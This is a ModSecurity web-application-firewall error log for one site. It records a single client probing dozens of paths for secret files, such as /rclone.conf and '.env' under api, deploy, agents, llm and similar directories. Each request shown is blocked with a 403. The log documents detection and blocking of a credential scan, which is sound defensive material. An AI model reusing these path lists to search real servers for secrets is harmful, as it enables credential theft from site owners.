[Sun Oct 25 22:08:45.301029 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at62LQdfoouc32iEpvzFhwAAAA8"]
[Sun Oct 25 22:08:45.301250 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at62LQdfoouc32iEpvzFhwAAAA8"]
[Sun Oct 25 22:08:45.313739 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at62LYLcv9dw313oUE998QAAAAM"]
[Sun Oct 25 22:08:45.314000 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at62LYLcv9dw313oUE998QAAAAM"]
[Sun Oct 25 22:08:45.314309 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at62LYLcv9dw313oUE998QAAAAM"]
[Sun Oct 25 22:08:45.315273 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at62LZHtMtN5e4U4U0bieQAAAAI"]
[Sun Oct 25 22:08:45.315515 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at62LZHtMtN5e4U4U0bieQAAAAI"]
[Sun Oct 25 22:08:45.315948 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at62LZHtMtN5e4U4U0bieQAAAAI"]
[Sun Oct 25 22:08:45.328718 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at62LRaKu-Zjs56a5J4r_wAAAAo"]
[Sun Oct 25 22:08:45.328976 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at62LRaKu-Zjs56a5J4r_wAAAAo"]
[Sun Oct 25 22:08:45.329282 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at62LRaKu-Zjs56a5J4r_wAAAAo"]
[Sun Oct 25 22:08:45.440847 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at62LS7g7KvJoU2B-eLMVAAAAAY"]
[Sun Oct 25 22:08:45.441054 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at62LS7g7KvJoU2B-eLMVAAAAAY"]
[Sun Oct 25 22:08:45.441293 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at62LS7g7KvJoU2B-eLMVAAAAAY"]
[Sun Oct 25 22:08:45.453903 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40232] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at62LaU3Viu-sjPfXm3rNgAAADM"]
[Sun Oct 25 22:08:45.454087 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at62LaU3Viu-sjPfXm3rNgAAADM"]
[Sun Oct 25 22:08:45.454339 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at62LaU3Viu-sjPfXm3rNgAAADM"]
[Sun Oct 25 22:08:45.486378 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at62LdYvsK9lv2bQxMABlgAAABA"]
[Sun Oct 25 22:08:45.486586 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at62LdYvsK9lv2bQxMABlgAAABA"]
[Sun Oct 25 22:08:45.486896 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at62LdYvsK9lv2bQxMABlgAAABA"]
[Sun Oct 25 22:08:45.497388 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at62LTmSjUI1p_l1ZoRj2wAAAAc"]
[Sun Oct 25 22:08:45.497560 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at62LTmSjUI1p_l1ZoRj2wAAAAc"]
[Sun Oct 25 22:08:45.497780 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at62LTmSjUI1p_l1ZoRj2wAAAAc"]
[Sun Oct 25 22:08:45.557702 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at62LQdfoouc32iEpvzFiAAAAA8"]
[Sun Oct 25 22:08:45.557951 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at62LQdfoouc32iEpvzFiAAAAA8"]
[Sun Oct 25 22:08:45.558219 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at62LQdfoouc32iEpvzFiAAAAA8"]
[Sun Oct 25 22:08:45.592313 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at62LRaKu-Zjs56a5J4sAAAAAAo"]
[Sun Oct 25 22:08:45.592569 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at62LRaKu-Zjs56a5J4sAAAAAAo"]
[Sun Oct 25 22:08:45.592874 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at62LRaKu-Zjs56a5J4sAAAAAAo"]
[Sun Oct 25 22:08:45.636632 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at62LZHtMtN5e4U4U0biegAAAAI"]
[Sun Oct 25 22:08:45.636836 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at62LZHtMtN5e4U4U0biegAAAAI"]
[Sun Oct 25 22:08:45.636880 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at62LYLcv9dw313oUE998gAAAAM"]
[Sun Oct 25 22:08:45.637040 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at62LYLcv9dw313oUE998gAAAAM"]
[Sun Oct 25 22:08:45.637090 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at62LZHtMtN5e4U4U0biegAAAAI"]
[Sun Oct 25 22:08:45.637286 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at62LYLcv9dw313oUE998gAAAAM"]
[Sun Oct 25 22:08:45.641742 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at62LQIuNp5K2_eTlG2KkgAAAC0"]
[Sun Oct 25 22:08:45.641868 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at62LQIuNp5K2_eTlG2KkgAAAC0"]
[Sun Oct 25 22:08:45.642089 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at62LQIuNp5K2_eTlG2KkgAAAC0"]
[Sun Oct 25 22:08:45.703103 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at62LTmmX3asvCDITlDxdAAAAAA"]
